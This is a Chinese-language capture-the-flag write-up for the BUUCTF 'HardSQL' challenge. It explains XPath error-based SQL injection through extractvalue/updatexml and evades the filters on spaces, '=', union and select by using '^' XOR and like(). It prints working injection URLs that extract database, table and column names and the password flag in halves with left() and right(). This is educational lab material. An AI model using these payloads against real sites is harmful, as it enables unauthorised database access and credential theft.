1. 程式人生 > 其它 >[極客大挑戰 2019]HardSQL 1

[極客大挑戰 2019]HardSQL 1

1.發現

1.1開啟題目地址提示為SQL注入,隨便輸入1/'/"/,

發現單引號有報錯,雙引號沒有,沒提示有括號,

所以應該是普通單引號閉合的字元型注入點

2.輸入' or '1'='1/ 1' and '1'='1

發現沒有報錯,提示相同

出現這行字說明輸入的被過濾,一個字元一個字元測試,

發現如and/空格/union/select/=//**/等都被過濾了。

最後,我們發現這道題是xpath報錯注入,函式注入

知識點

1)報錯函式注入

extractvalue(1,concat(07xe,執行語句))
updatexml(1,concat(07xe,執行語句),1)

extractvalue()


extractvalue() :對XML文件進行查詢的函式

語法:extractvalue(目標xml文件,xml路徑)

第一個引數 : 第一個引數可以傳入目標xml文件

第二個引數: xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

      正常查詢 第二個引數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

tip: 還有要注意的地方是,它能夠查詢的字串長度最大是32個字元,如果超過32位,我們就需要用函式來查詢,比如right(),left(),substr()來擷取字串

再舉個栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b');這個語句就是尋找前一段xml文件內容中的a節點下的b節點,這裡如果Xpath格式語法書寫錯誤的話,就會報錯。這裡就是利用這個特性來獲得我們想要知道的內容。

2)concat函式

利用concat函式將想要獲得的資料庫內容拼接到第二個引數中,報錯時作為內容輸出。

3)用’^'來連線函式,形成異或

2.步驟

2.1我們先去爆資料庫:先構造payload:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23

2.2然後,我們再payload爆表名,但是這裡把等於號給我們過濾了,

不過我們還有騷操作like用法

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

2.3爆列名:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

2.4爆資料把password查出來

2.5 flag出來了,不對好像只有一半,使用{left(),right()}

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

知識點

1){left(),right()}函式

3.借鑑

BUUCTF-[極客大挑戰 2019]HardSQL 1詳解 - 愛碼網 (likecs.com)

(30條訊息) BUUCTF Writeup-Web-[極客大挑戰 2019]HardSQL 1_菜鳥之路 -CSDN部落格

BUUCTF-[極客大挑戰 2019]HardSQL 記錄 - 簡書 (jianshu.com)

(30條訊息) CTF-Web-[極客大挑戰 2019]HardSQL_歸子莫的部落格-CSDN部落格